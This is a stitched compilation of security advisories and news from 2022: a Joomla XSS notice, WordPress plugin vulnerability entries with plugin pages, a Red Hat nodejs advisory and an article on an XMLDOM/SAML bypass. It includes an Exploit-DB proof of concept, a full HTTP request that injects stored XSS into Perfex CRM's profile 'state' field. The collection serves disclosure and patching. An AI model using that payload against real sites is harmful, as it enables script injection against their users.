An issue was discovered in Joomla! 4.0.0 through 4.2.4. Inadequate filtering of potentially malicious user input leads to reflected XSS vulnerabilities in com_media.

**Security Announcements**

**\[20221101\] - Core - RXSS through reflection of user input in com\_media**

*   **Project:** Joomla!
*   **SubProject:** CMS
*   **Impact:** Low
*   **Severity:** Low
*   **Probability:** Low
*   **Versions:** 4.0.0-4.2.4
*   **Exploit type:** Reflexted XSS
*   **Reported Date:** 2022-10-28
*   **Fixed Date:** 2022-11-08
*   **CVE Number:** CVE-2022-27914

**Description**

Inadequate filtering of potentially malicious user input leads to reflected XSS vulnerabilities in com\_media..

**Affected Installs**

Joomla! CMS versions 4.0.0-4.2.4

**Solution**

Upgrade to version 4.2.5

**Contact**

The JSST at the Joomla! Security Centre.

**Reported By:** https://github.com/Denitz

*

CVE-2022-27914: Joomla! Developer Network

Auth. Reflected Cross-Site Scripting (XSS) vulnerability in 5 Anker Connect plugin <= 1.2.6 on WordPress.

 Verified

 Fixed

**4.8**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 1.2.6

PSID 

7cf4a77afef5

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires high role user authentication like admin.

Publicly disclosed

2022-10-12

**Details**

Reflected Cross-Site Scripting (XSS) vulnerability discovered by ptsfence (Patchstack Alliance) in WordPress 5 Anker Connect plugin (versions <= 1.2.6).

**Solution**

Update the WordPress 5 Anker Connect plugin to the latest available version (at least 1.2.7).

**References**

CVE-2022-30545: WordPress 5 Anker Connect plugin <= 1.2.6 - Reflected Cross-Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Advanced Ads GmbH Advanced Ads – Ad Manager & AdSense plugin <= 1.31.1 on WordPress.

 Verified

 Fixed

**4.8**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 1.31.1

PSID 

f310fa25f34a

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires high role user authentication like admin.

Publicly disclosed

2022-09-28

**Details**

Authenticated Stored Cross-Site Scripting (XSS) vulnerability discovered by Muhammad Daffa (Patchstack Alliance) in WordPress Advanced Ads – Ad Manager & AdSense plugin (versions <= 1.31.1).

**Solution**

Update the WordPress Advanced Ads – Ad Manager & AdSense plugin to the latest available version (at least 1.32.0).

**References**

CVE-2022-32776: WordPress Advanced Ads – Ad Manager & AdSense plugin <= 1.31.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Cross-Site Scripting (XSS) vulnerability in Mantenimiento web plugin <= 0.13 on WordPress.

 Verified

 Fixed

**4.8**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 0.13

PSID 

371465969b50

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires high role user authentication like admin.

Publicly disclosed

2022-10-20

**Details**

Auth. Cross-Site Scripting (XSS) vulnerability discovered by Mika (Patchstack Alliance) in the WordPress Mantenimiento web plugin (versions <= 0.13).

**Solution**

Update the WordPress Mantenimiento web plugin to the latest available version (at least 0.14).

**References**

CVE-2022-41980: WordPress Mantenimiento web plugin <= 0.13 - Auth. Cross-Site Scripting (XSS) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability leading to Cross-Site Scripting (XSS) in David Anderson Testimonial Slider plugin <= 1.3.1 on WordPress.

*   Details
*   Reviews
*   Support
*   Development

This plugin has been closed as of November 7, 2022 and is not available for download. This closure is temporary, pending a full review.

worked first time, no issues, thank you 🙂

Its Awesome plugin. I highly recommend this.

Es facil de usar, cómodo y cumple su cometido con creces. Gracias por hacerlo

I have used this plugin for close to a year. It is the only one that I have used flawlessly with all my websites. I would recommend it to anyone who wants a simple plugin that creates wonderful testimonial sliders

They should tell you the free version is not responsive before you spend an hour setting it up.

Read all 68 reviews

“Testimonial Slider” is open source software. The following people have contributed to this plugin.

Contributors

CVE-2022-44741: Testimonial Slider

Cross-Site Request Forgery (CSRF) vulnerability leading to Stored Cross-Site Scripting (XSS) in Vladimir Anokhin's Shortcodes Ultimate plugin <= 5.12.0 on WordPress.

 Verified

 Fixed

**6.1**

CVSS 3.1 score Medium severity

Report  

Monitoring Not reported to be exploited

Vulnerable versions

<= 5.12.0

PSID 

42eec00642ac

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-10-13

**Details**

Cross-Site Request Forgery (CSRF) vulnerability leading to Stored Cross-Site Scripting (XSS) vulnerability discovered by Dave Jong (Patchstack) in WordPress Shortcodes Ultimate plugin (versions <= 5.12.0).

**Solution**

Update the WordPress Shortcodes Ultimate plugin to the latest available version (at least 5.12.1).

**References**

CVE-2022-41136: WordPress Shortcodes Ultimate plugin <= 5.12.0 - CSRF vulnerability leading to Stored XSS - Patchstack

CSV Injection vulnerability in Activity Log Team Activity Log <= 2.8.3 on WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

**A COMPLETE, EASY TO USE & WELL SUPPORTED WORDPRESS ACTIVITY LOG PLUGIN**

Want to monitor and track your WordPress website activity? Find out exactly who does what on your WordPress website. the Activity Log plugin is like an airplane’s black box that logs every activity in WordPress admin, and lets you see exactly what users are doing on your WordPress website.

*   Like, if someone is trying to hack your site.
*   Or, when a post was published, and who published it.
*   Or, if a plugin/theme was activated/deactivated.
*   Log suspicious admin activity.
*   Securing your site by tracking log of all user activity?

Useful, right? Trust us, you won’t understand how you managed your website without it. The plugin is also lightning fast and works behind the scenes, so it doesn’t affect site and admin performance. For optimal performance, we built the plugin so it runs on a separate table in the database.

If you have tens of users or more, you really can’t know who did what. This plugin tries to solve this issue by tracking what users do, and displaying it in an easy to use and easy to filter view on the dashboard of your WordPress site.

**Export to CSV** Export your Activity Log data records to CSV. Developers can easily add support for custom data formats with our new dedicated Export API.

**Data Privacy and GDPR Compliance** We provide the tools to help you be GDPR compliant, including Export/Erasure of data via the WordPress Privacy Tools.

**With the Activity Log you can record:**

*   **WordPress** – Core Updates
*   **Posts** – Created, Updated, Deleted
*   **Pages** – Created, Updated, Deleted
*   **Custom Post Type** – Created, Updated, Deleted
*   **Tags** – Created, Edited, Deleted
*   **Categories** – Created, Edited, Deleted
*   **Taxonomies** – Created, Edited, Deleted
*   **Comments** – Created, Approved, Unproved, Trashed, Untrashed, Spammed, Unspammed, Deleted
*   **Media** – Uploaded, Edited, Deleted
*   **Users** – Login, Logout, Login has failed, Update profile, Registered and Deleted
*   **Plugins** – Installed, Updated, Activated, Deactivated, Changed
*   **Themes** – Installed, Updated, Deleted, Activated, Changed (Editor and Customizer)
*   **Widgets** – Added to a sidebar / Deleted from a sidebar, Order widgets
*   **Menus** – A menu is being Created, Updated, Deleted
*   **Setting** – General, Writing, Reading, Discussion, Media, Permalinks
*   **Options** – Can be extend by east filter
*   **Export** – User download export file from the site
*   **WooCommerce** – Monitor all shop settings and options
*   **bbPress** – Forums, Topics, Replies, Taxonomies and other actions
*   There’s more, but you get the point…

**What people are saying**

*   _“Best 10 Free WordPress Plugins of the Month – July 2014: Keeping tabs on what your users do with their access to the Dashboard”_ – ManageWp.com
*   _“Thanks to this step, we’ve discovered that our site was undergoing a brute force attack”_ – artdriver.com
*   _“Optimized code – The plugin itself is blazing fast and leaves almost no footprint on the server.”_ – freshtechtips.com
*   _“The plugin successful for activity log for WordPress.”_ – wp-tricks.co.il
*   _“This is a pretty simple yet quite effective plugin for keeping track of what your admins and users do on your sites.”_ – shadowdragonunlimited.com
*   _“Activity Log lets you track a huge range of activities. Overall, very easy to use and setup.”_ – elegantthemes.com

**Translators:**

*   German (de\_DE) – Robert Harm
*   Dutch (nl\_NL) – Tom Aalbers
*   Serbo-Croatian (sr\_RS) – Borisa Djuraskovic
*   Danish (da\_DK) – Morten Dalgaard Johansen
*   Hebrew (he\_IL) + RTL Support – Pojo.me
*   Armenia (hy\_AM) – Hayk Jomardyan
*   Brazilian Portuguese (pt\_BR) – Criação de Sites
*   Turkish (tr\_TR) – Ahmet Kolcu
*   Persian (fa\_IR) – Promising
*   Russian (ru\_RU) – Oleg Reznikov
*   Polish (pl\_PL) – Maciej Gryniuk
*   Czech (cs\_CZ) – Martin Kokeš
*   Finnish (fi) – Nazq

The plugin does not require any kind of setup. It works out of the box (and that’s another reason people love it).

We’re planning to add a lot more features in the upcoming releases. If you think we’re missing something big time, please post your suggestions in the plugin’s forum.

**Contributions:**

Would you like to like to contribute to Activity Log? You are more than welcome to submit your pull requests on the GitHub repo. Also, if you have any notes about the code, please open a ticket on the issue tracker.

1.  Upload plugin files to your plugins folder, or install using WordPress’ built-in Add New Plugin installer
2.  Activate the plugin
3.  Go to the plugin page (under Dashboard > Activity Log)

**Requirements**

*   **Requires PHP5** for list management functionality.

**What is the plugin license?**

*   This plugin is released under a GPL license.

**Can I export logs?**

*   You can easily export logs with Activity Log. We also support exporting filtered results. Filter by the time the action took place, roles, users, options, action type, and more.

A really simple activity log, easy to use. The UI is intuitive and search feature is nice. There aren't a lot of options or feature but it does what I need it to, and it's free.

This is one of simple, easy to use plugin and, never broke or had any issue despite being free. This plugin really helps to find out the unauthorized and malicious activity with ease. I really appreciate the good work. Thank you so much.

Love it! Have it installed on about ~300 sites, no issues except one site that was getting slammed with spam login attempts and the log grew to big to quick but ultimately this plugin helped identify the need to restrict the login url.

An earlier review reported failure to activate and impossible to delete: I suspect that those issues were caused by an out-of-date WordPress and PHP installation. I upgraded and the plug-in does what it says it does.

It saved one of my client's project requests. Simple, intuitive and it even exports information as CSV! Thank you developers! 🙂

Very good plug-in never had any issue, I installed in 5 websites so far and no problem.

Read all 67 reviews

“Activity Log” is open source software. The following people have contributed to this plugin.

Contributors

**2.8.4 – 2022-09-04**

*   Tweak: Added Activity Log setting to records log
*   Tweak: Added encoded value in CSV file (#165)

**2.8.3 – 2022-03-09**

*   Tweak: Run Clear old items from DB once daily to avoid unexpected errors (#156)

**2.8.2 – 2022-01-25**

*   Fix: Auto-updates of core, plugins and themes are not registered to the log (#155, props @nicomollet)

**2.8.1 – 2021-12-01**

*   Fix: Activity log database table not being dropped after deleting the plugin in multisite installation

**2.8.0 – 2021-11-17**

*   New: Added Privacy Settings to records log
*   New: Added Site Language to records log
*   New: Added a filter link to Topic, IP, Date, User and Action in the log table screen
*   Tweak: Aligned Topics to be in plural instead of singular
*   Fix: Filter by users dropdown on activity page threw a timeout error in some cases (#141)
*   Fix: CSV Export issue with comma separated values (Topic)

**2.7.0 – 2021-05-06**

*   New: Added an option to skip or keep the failed login logs for better optimization (#125)
*   Tweak: Improved the activity log table with clear labels and re-order columns for better UX
*   Tweak: Changed the wrong\_password action to failed\_login in User topic
*   Tweak: Changed the added action to uploaded in Attachment topic
*   Tweak: Changed the created action to registered in User topic
*   Fix: Add input sanitization to avoid security issues

**2.6.1 – 2021-02-15**

*   Fix: Conflict with WooCommerce while you using new block editor

**2.6.0 – 2020-10-19**

*   Tweak: Added support for CloudFlare and CloudFlare Enterprise client IP header (#133)
*   Tweak: Added browser confirmation to Reset Database option
*   Tweak: Notification tab is now deprecated for new installations
*   Tweak: Added support for displaying custom role activity log (#78, #135, Topic, Topic)
*   Fix: Show user data on log-out action (#126, Topic)
*   Fix: Removed unused help context in admin to resolve deprecated WP error (Topic)
*   Fix: PHP Notices are thrown when Debug mode is active (Topic)
*   Fix: Resolve jQuery Deprecation Notice and compatibility with WordPress 5.6+ (Topic)

**2.5.2**

*   Fix: Conflict with Elementor and WordPress Widgets

**2.5.1**

*   Fix! – PHP < 5.4 compatibility (Topic)

**2.5.0**

*   New! Added log to Export Personal Data tool for better GDPR Compliance (Topic)

**2.4.1**

*   Fix! – Escape title before saving to database

**2.4.0**

*   New! Export your Activity Log data records to CSV (#70)

**2.3.6**

*   Fix! – Admin table filters

**2.3.5**

*   Fix! – Added comparability for WordPress 4.8.2 & 4.7.6

**2.3.4**

*   Tweak! – Change Guest user to “N/A”

**2.3.3**

*   Fixed! – Minor XSS vulnerability, credit to Han Sahin

**2.3.2**

*   Fixed! – Minor XSS vulnerability, credit to Han Sahin

**2.3.1**

*   Tweak! – Added seconds in time column
*   Tweak! – Rearrange filters in list table

**2.3.0**

*   Tweak! – All translates moved to GlotPress
*   Tweak! – Added restore status for Posts (#46)
*   Tweak! – A11y changes for WordPress 4.4 which requires h1 tags (#84)
*   Tweak! – Allow some ajax requests just for admin

**2.2.12**

*   Tested up to WordPress v4.5

**2.2.11**

*   Tweak! – Temporarily remove Freemius SDK from the plugin

**2.2.10**

*   Tweak! Update Freemius SDK
*   Tested up to WordPress v4.4.2

**2.2.9**

*   Tweak! Update Freemius SDK

**2.2.8**

*   Tweak! Update Freemius SDK

**2.2.7**

*   Added! – Freemius Insights platform to improve plugin UX
*   Tweak! Update translate: Russian (ru\_RU) – Thanks to Oleg Reznikov
*   Tested up to WordPress v4.4

**2.2.6**

*   Tweak! – Added sort by IP address (#77)
*   Tweak! – Added more actions/types in notification

**2.2.5**

*   New! – Added translate: Finnish (fi) – Thanks to Nazq (topic)
*   Tweak! – Better actions label in list table
*   Fixed! – Notice php warring in MU delete site
*   Tested up to WordPress v4.3

**2.2.4**

*   New! – Added translate: Czech (cs\_CZ) – Thanks to Martin Kokeš (#76)

**2.2.3**

*   Tweak! – Added more filters in table list columns

**2.2.2**

*   Fixed! some PHP strict standards (PHP v5.4+)

**2.2.1**

*   Fixes from prev release

**2.2.0**

*   New! – Adds search box, to allow users to search the description field.
*   New! – Allows users to now filter by action
*   New! – Added translate: Polish (pl\_PL) – Thanks to Maciej Gryniuk
*   Tweak! – SQL Optimizations for larger sites

**2.1.16**

*   New! Added translate: Russian (ru\_RU) – Thanks to Oleg Reznikov
*   Fixes Undefined property with some 3td party themes/plugins
*   Tested up to WordPress v4.2

**2.1.15**

*   Tested up to WordPress v4.1
*   Change plugin name to “Activity Log”

**2.1.14**

*   New! Added translate: Persian (fa\_IR) – Thanks to Promising

**2.1.13**

*   New! Added filter by User Roles (#67)

**2.1.12**

*   New! Added translate: Turkish (tr\_TR) – Thanks to Ahmet Kolcu

**2.1.11**

*   Fixed! Compatible for old WP version

**2.1.10**

*   New! Now tracking when menus created and deleted
*   New! Added translate: Portuguese (pt\_BR) – Thanks to Criação de Sites

**2.1.9**

*   New! Store all WooCommerce settings (#62)
*   Tested up to WordPress v4.0

**2.1.8**

*   New! Now tracking when plugins installed and updated (#59 and #43)

**2.1.7**

*   New! Now tracking when user download export file from the site (#58 and #63)

**2.1.6**

*   Tested up to WordPress v3.9.2

**2.1.5**

*   New! Now tracking when theme installed, updated, deleted (#44)

**2.1.4**

*   Fixed! Store real IP address in Proxy too (#53)

**2.1.3**

*   New! Added translate: Dutch (nl\_NL) – Thanks to Tom Aalbers (#55)

**2.1.2**

*   Tweak! Update translate: Hebrew (he\_IL)

**2.1.1**

*   New! Track about WordPress core update (manual or auto-updated) (#41)
*   New! Track post comments (created, approved, unproved, trashed, untrashed, spammed, unspammed, deleted) (#42)

**2.1.0**

*   New! Personally-tailored notifications that can be triggered by various types of events, users and action type (currently only email notifications are supported)
*   Bug fixes, stability improvements
*   Fixed an error that occurred on PHP 5.5

**2.0.7**

*   Tested up to WordPress v3.9.0

**2.0.6**

*   Fixed! Random fatal error (topic)

**2.0.5**

*   New! Register aal_init_caps filter.
*   Tweak! Change all methods to non-static.
*   Tweak! Some improved coding standards and PHPDoc.
*   Tweak! Split AAL_Hooks class to multiple classes.
*   New! Added translate: Armenia (hy\_AM) – Thanks to Hayk Jomardyan.

**2.0.4**

*   Tweak! Don’t allowed to access in direct files.
*   New! Added translate: Danish (da\_DK) – Thanks to Morten Dalgaard Johansen

**2.0.3**

*   New! Record when widgets change orders.

**2.0.2**

*   New! Save more Options:
*   General
*   Writing
*   Reading
*   Discussion
*   Media
*   Permalinks

**2.0.1**

*   New! filter for disable erase all the log
*   Bugs fixed

**2.0.0**

*   Added Screen Options
*   New! Ability to select a number of activity items per page
*   New! Columns are now sortable
*   Added filter by date – All Time, Today, Yesterday, Week, Month
*   Added Avatar to author
*   Added role for author
*   Added log for activeted theme
*   Re-order Culoumns
*   Compatible up to 3.8.1
*   Settings page is now accessible directly from Activity Log’s menu
*   Keep your log for any time your wants
*   Delete Log Activities from Database.
*   Bugs fixed

**1.0.8**

*   Added translate: Serbo-Croatian (sr\_RS) – Thanks to Borisa Djuraskovic.

**1.0.7**

*   Added ‘view\_all\_aryo\_activity\_log’ user capability (topic).

**1.0.6**

*   Added WooCommerce integration (very basic).
*   Added Settings link in plugins page.

**1.0.5**

*   Fix – Make sure no save double lines (menu taxonomy / post).

**1.0.4**

*   Added Taxonomy type (created, updated, deleted).

**1.0.3**

*   Added Multisite compatibility.
*   Added Options hooks (limit list, you can extend by simple filter).
*   Added Menu hooks.
*   Tweak – Ensure no duplicate logs..

**1.0.2**

*   Forget remove old .pot file

**1.0.1**

*   Added translate: German (de\_DE) – Thanks to Robert Harm
*   Added translate: Hebrew (he\_IL)
*   Plugin name instead of file name on activation/deactivation
*   **New Hooks:**
*   A widget is being deleted from a sidebar
*   A plugin is being changed
*   Theme Customizer (Thanks to Ohad Raz)

**1.0**

*   Blastoff!

CVE-2022-27858: Activity Log

perfex crm 1.10 is vulnerable to Cross Site Scripting (XSS) via /clients/profile.

    # Exploit Title: perfexcrm 1.10 - 'State' Stored Cross-site scripting (XSS)
    # Date: 05/07/2021
    # Exploit Author: Alhasan Abbas (exploit.msf)
    # Vendor Homepage: https://www.perfexcrm.com/
    # Version: 1.10
    # Tested on: windows 10
    
    Vunlerable page: /clients/profile
    
    POC:
    ----
    POST /clients/profile HTTP/1.1
    
    Host: localhost
    
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    
    Accept-Language: en-US,en;q=0.5
    
    Accept-Encoding: gzip, deflate
    
    Content-Type: multipart/form-data; boundary=---------------------------325278703021926100783634528058
    
    Content-Length: 1548
    
    Origin: http://localhost
    
    Connection: close
    
    Referer: http://localhost/clients/profile
    
    Cookie: sp_session=07c611b7b8d391d144a06b39fe55fb91b744a038
    
    Upgrade-Insecure-Requests: 1
    
    
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="profile"
    
    
    
    1
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="profile_image"; filename=""
    
    Content-Type: application/octet-stream
    
    
    
    
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="firstname"
    
    
    
    adfgsg
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="lastname"
    
    
    
    fsdgfdg
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="company"
    
    
    
    test
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="vat"
    
    
    
    1
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="phonenumber"
    
    
    
    
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="country"
    
    
    
    105
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="city"
    
    
    
    asdf
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="address"
    
    
    
    asdf
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="zip"
    
    
    
    313
    
    -----------------------------325278703021926100783634528058
    
    Content-Disposition: form-data; name="state"
    
    
    
    ""><body onload=alert("XSS")>">
    
    -----------------------------325278703021926100783634528058--
    
    then any one open profile page in user the xss its executed

CVE-2021-40303: Offensive Security’s Exploit Database Archive

Rapid remedy follows reawakening of long-dormant bug threat

Rapid remedy follows reawakening of long-dormant bug threat

A critical vulnerability arising from improper input validation has been addressed in XMLDOM, the JavaScript implementation of W3C DOM for Node.js, Rhino, and browsers.

The flawed behavior was seemingly first flagged as potentially in need of remedy in 2016. But it was only with the recent discovery of an authentication bypass in Passport-SAML, the SAML 2.0 authentication provider for Node.js library Passport, that XMLDOM maintainers tackled the root cause of the problem.

“Xmldom parses XML that is not well-formed because it contains multiple top level elements, and adds all root nodes to the childNodes collection of the Document, without reporting any error or throwing,” an XMLDOM advisory published on November 1 explained.

**Breaking the assumption**

“This breaks the assumption that there is only a single root node in the tree,” it continues, and poses “a potential issue for dependents”.

The bug was assigned CVE-2022-39353 and a severity rating of CVSS 9.4 by GitHub CVE Numbering Authority, later uprated in severity to CVSS 9.8 by the NIST National Vulnerability Database.

XMLDOM is widely used, with NPM detecting 2.8 million weekly downloads (albeit caveats apply regarding the accuracy of download counts).

DON’T MISS Gatsby patches SSRF, XSS bugs in Cloud Image CDN

Kurt Boberg, a maintainer on the project, told The Daily Swig: “Any security-critical workflow that accepts partial signatures on XML and reads a child node is likely affected by this issue.

“The core problem is that you can supply two XML documents to a request (one valid, one forged) and as long as the validator accepts the legitimate one, a property read via xmldom can potentially read a node value out of the forged document.”

**Passport-SAML bypass**

Passport-SAML, which has 167,000 weekly NPM downloads, mishandled cryptographic signature verification because of the XMLDOM flaw. Tracked as CVE-2022-39299, the high severity Passport-SAML issue potentially enabled an attacker “to bypass SAML authentication on a website using passport-saml,” The CVE description said.

“A successful attack requires that the attacker is in possession of an arbitrary IDP signed XML element. Depending on the IDP used, fully unauthenticated attacks (e.g without access to a valid user) might also be feasible if generation of a signed message can be triggered.”

The bug, assigned a severity score of CVSS 8.1, was patched on October 11.

**‘Worst possible outcome’**

Asked what other damage an attacker might potentially cause downstream of the XMLDOM bug, Boberg said it “really depends on the expectations around the XML parsing. The aforementioned SAML issue is pretty much the worst possible outcome.

Read more of the latest cybersecurity vulnerability news

“It really hinges on the parsing application making a security decision based on XML input from the user that it expects to be signed. It’s like stapling an additional page to a notarized document, and passing it through a verification process that only checks if the first page is notarized.”

He added: “The downstream impact depends entirely on what the legitimate document would let you do.”

**Path to a patch**

The related GitHub bug thread began in 2016, when an XMLDOM maintainer said the issue “appears to me to be a violation of the W3C DOM Level 2 Core Specification”.

Speculating that the flaw “might be a ‘false-positive’ bug”, he suggested “there is some utility in being able to parse multiple documents in a single stream, if the API can be re-tooled just a bit”. He also described doing so “silently without issuing even so much as a warning to consumers” as “odd”.

The thread then remained dormant until the emergence of the Passport-SAML vulnerability and its root cause quickly became apparent, prompting the rapid deployment of patches within @xmldom/xmldom NPM versions 0.7.7, 0.8.4, and 0.9.0-beta.4, together with mitigations, fix details, and advice to developers to align with the specs to avoid code breakage.

YOU MIGHT ALSO LIKE OpenSSL vulnerability downgraded to ‘high’ severity

Passport-SAML auth bypass triggers fix of critical, upstream XMLDOM bug

Red Hat Security Advisory 2022-7830-01 - Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. Issues addressed include HTTP request smuggling and bypass vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: nodejs:14 security update  
Advisory ID:       RHSA-2022:7830-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:7830  
Issue date:        2022-11-08  
CVE Names:         CVE-2021-44531 CVE-2021-44532 CVE-2021-44533  
                   CVE-2022-21824 CVE-2022-35256  
====================================================================  
1. Summary:

An update for the nodejs:14 module is now available for Red Hat Enterprise  
Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

Node.js is a software development platform for building fast and scalable  
network applications in the JavaScript programming language.

Security Fix(es):

* nodejs: Improper handling of URI Subject Alternative Names  
(CVE-2021-44531)

* nodejs: Certificate Verification Bypass via String Injection  
(CVE-2021-44532)

* nodejs: Incorrect handling of certificate subject and issuer fields  
(CVE-2021-44533)

* nodejs: HTTP Request Smuggling due to incorrect parsing of header fields  
(CVE-2022-35256)

* nodejs: Prototype pollution via console.table properties (CVE-2022-21824)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2040839 - CVE-2021-44531 nodejs: Improper handling of URI Subject Alternative Names  
2040846 - CVE-2021-44532 nodejs: Certificate Verification Bypass via String Injection  
2040856 - CVE-2021-44533 nodejs: Incorrect handling of certificate subject and issuer fields  
2040862 - CVE-2022-21824 nodejs: Prototype pollution via console.table properties  
2130518 - CVE-2022-35256 nodejs: HTTP Request Smuggling due to incorrect parsing of header fields

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
nodejs-14.20.1-2.module+el8.7.0+16991+b0a68a3e.src.rpm  
nodejs-nodemon-2.0.19-2.module+el8.7.0+16991+b0a68a3e.src.rpm  
nodejs-packaging-23-3.module+el8.3.0+6519+9f98ed83.src.rpm

aarch64:  
nodejs-14.20.1-2.module+el8.7.0+16991+b0a68a3e.aarch64.rpm  
nodejs-debuginfo-14.20.1-2.module+el8.7.0+16991+b0a68a3e.aarch64.rpm  
nodejs-debugsource-14.20.1-2.module+el8.7.0+16991+b0a68a3e.aarch64.rpm  
nodejs-devel-14.20.1-2.module+el8.7.0+16991+b0a68a3e.aarch64.rpm  
nodejs-full-i18n-14.20.1-2.module+el8.7.0+16991+b0a68a3e.aarch64.rpm  
npm-6.14.17-1.14.20.1.2.module+el8.7.0+16991+b0a68a3e.aarch64.rpm

noarch:  
nodejs-docs-14.20.1-2.module+el8.7.0+16991+b0a68a3e.noarch.rpm  
nodejs-nodemon-2.0.19-2.module+el8.7.0+16991+b0a68a3e.noarch.rpm  
nodejs-packaging-23-3.module+el8.3.0+6519+9f98ed83.noarch.rpm

ppc64le:  
nodejs-14.20.1-2.module+el8.7.0+16991+b0a68a3e.ppc64le.rpm  
nodejs-debuginfo-14.20.1-2.module+el8.7.0+16991+b0a68a3e.ppc64le.rpm  
nodejs-debugsource-14.20.1-2.module+el8.7.0+16991+b0a68a3e.ppc64le.rpm  
nodejs-devel-14.20.1-2.module+el8.7.0+16991+b0a68a3e.ppc64le.rpm  
nodejs-full-i18n-14.20.1-2.module+el8.7.0+16991+b0a68a3e.ppc64le.rpm  
npm-6.14.17-1.14.20.1.2.module+el8.7.0+16991+b0a68a3e.ppc64le.rpm

s390x:  
nodejs-14.20.1-2.module+el8.7.0+16991+b0a68a3e.s390x.rpm  
nodejs-debuginfo-14.20.1-2.module+el8.7.0+16991+b0a68a3e.s390x.rpm  
nodejs-debugsource-14.20.1-2.module+el8.7.0+16991+b0a68a3e.s390x.rpm  
nodejs-devel-14.20.1-2.module+el8.7.0+16991+b0a68a3e.s390x.rpm  
nodejs-full-i18n-14.20.1-2.module+el8.7.0+16991+b0a68a3e.s390x.rpm  
npm-6.14.17-1.14.20.1.2.module+el8.7.0+16991+b0a68a3e.s390x.rpm

x86_64:  
nodejs-14.20.1-2.module+el8.7.0+16991+b0a68a3e.x86_64.rpm  
nodejs-debuginfo-14.20.1-2.module+el8.7.0+16991+b0a68a3e.x86_64.rpm  
nodejs-debugsource-14.20.1-2.module+el8.7.0+16991+b0a68a3e.x86_64.rpm  
nodejs-devel-14.20.1-2.module+el8.7.0+16991+b0a68a3e.x86_64.rpm  
nodejs-full-i18n-14.20.1-2.module+el8.7.0+16991+b0a68a3e.x86_64.rpm  
npm-6.14.17-1.14.20.1.2.module+el8.7.0+16991+b0a68a3e.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2021-44531  
https://access.redhat.com/security/cve/CVE-2021-44532  
https://access.redhat.com/security/cve/CVE-2021-44533  
https://access.redhat.com/security/cve/CVE-2022-21824  
https://access.redhat.com/security/cve/CVE-2022-35256  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBY2pSMNzjgjWX9erEAQiFmA/+PFsIM04d2Gzf9L0EzhYopvP+2hpQ3oXe  
rxs1jY17w/shvRUvBEcfFGwjqkw+9BROLnY76riBWXvS4cLdic/GaVoDYA053Swv  
qg47PgZuYgyM6Vj0ggqnN4pmN+4ydnGQnfCY5enQMZuUEEtkoP1kKj/r0b14G2Qb  
QAfRjS4kIBsIqdfWVLmB2ADyG4/RErrmQznmqnI+NgyVed+EcHQwKDXWJxQAcf1d  
bSWPPiYxKDMjl4prvFCIO4j5HIMcSxX2ydCuzU+unzdAzEVfhksJvug4vJOhI/tj  
vLbNYpb32szyWDF8RKqBCxqtpSFL+Rj1dSB9S8vLRD1vdme8GcY0bb4RMT5A7rxG  
vxboN1UnFBVasytToFrVMb6YI0hRIbY6u/AEDr7FpuZlc75IeBDuTrd513g0/JV2  
3s7uSktUx+5CLE6yTcbjNFzyxt/CWlXYRLxDjei4PAgTHUob0XV4ceegiSQtIrJR  
BsDZ92Rl3fL0h5ifQyX852F4aYDdN4wUNeaOL6dDh8I/O7YTdmwVrFJOsCaJbuW2  
